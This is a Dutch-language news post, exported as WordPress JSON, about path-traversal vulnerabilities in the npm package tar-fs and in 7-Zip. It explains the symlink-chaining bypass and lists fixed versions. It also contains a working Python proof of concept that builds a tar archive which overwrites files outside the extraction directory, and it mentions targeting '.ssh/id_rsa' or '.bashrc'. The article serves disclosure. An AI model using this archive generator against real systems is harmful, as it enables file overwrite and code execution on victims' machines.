{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Kwetsbaarheden in tar-fs en 7-Zip die het mogelijk maken om bestanden buiten de basisdirectory te schrijven","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
In het NPM-pakket tar-fs is een kwetsbaarheid (CVE-2025-48387) ontdekt die het mogelijk maakt om bij het uitpakken van een speciaal ontworpen tar-archief bestanden in elke gewenste locatie van het bestandssysteem te schrijven, niet beperkt tot de map waarin wordt uitgepakt (voor zover de toegangsrechten van de huidige gebruiker dat toelaten). De kwetsbaarheid kan ook worden gebruikt om bestaande bestanden te overschrijven, bijvoorbeeld om de uitvoering van eigen code in het systeem mogelijk te maken door het bestand '.ssh\/id_rsa' of '.bashrc' in de home directory van de gebruiker te overschrijven. <\/p>\n
De kwestie heeft een kritieke bedreigingsgraad gekregen, gezien het feit dat het tar-fs-pakket wekelijks 23 miljoen downloads heeft en als afhankelijkheid in 1155 projecten wordt gebruikt. De kwetsbaarheid is opgelost in versies 3.0.9, 2.1.3 en 1.16.5, die in mei zijn uitgebracht, maar informatie over de kwetsbaarheid is pas bijna 3 maanden later onthuld. <\/p>\n
De kwetsbaarheid wordt veroorzaakt door onvoldoende controles op de symbolische en harde links in het archief om te bepalen of ze buiten de doelmap voor het uitpakken komen. Om de controles te omzeilen, worden er twee symbolische links gebruikt: de eerste verwijst naar de rootmap van het archief ('.'), en de tweede wordt relatief ten opzichte van de eerste symbolische link gemaakt en gebruikt de tekens '..' in de naam om buiten de basisdirectory te komen. Bijvoorbeeld, de eerste link 'noop\/noop\/noop' verwijst naar '.', terwijl de tweede 'noop\/noop\/noop\/..\/..\/..\/..' wordt uitgevouwen tot '.\/..\/..\/..\/..'. Voor het organiseren van het overschrijven van bestanden in het archief kan er een harde link worden gemaakt die verwijst naar een extern bestand ten opzichte van de tweede symbolische link. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop\/' * 15) + ('..\/' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root\/home\/username\/flag\/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\\n' newfile = tarfile.TarInfo('root\/home\/username\/flag\/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Een soortgelijke kwetsbaarheid (CVE-2025-55188) is ontdekt in de archiveringssoftware 7-Zip. Voor het schrijven van bestanden buiten de basisdirectory in 7-Zip kunnen ook symbolische links met de sequentie '..' in het pad van de bestanden worden gebruikt. Het probleem kan worden ge\u00ebxploiteerd bij het uitpakken met 7-Zip van alle archieven die symbolische links ondersteunen, zoals zip, tar, 7z en rar. Het probleem is verholpen in versie 7-Zip 25.01. \n Bron: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"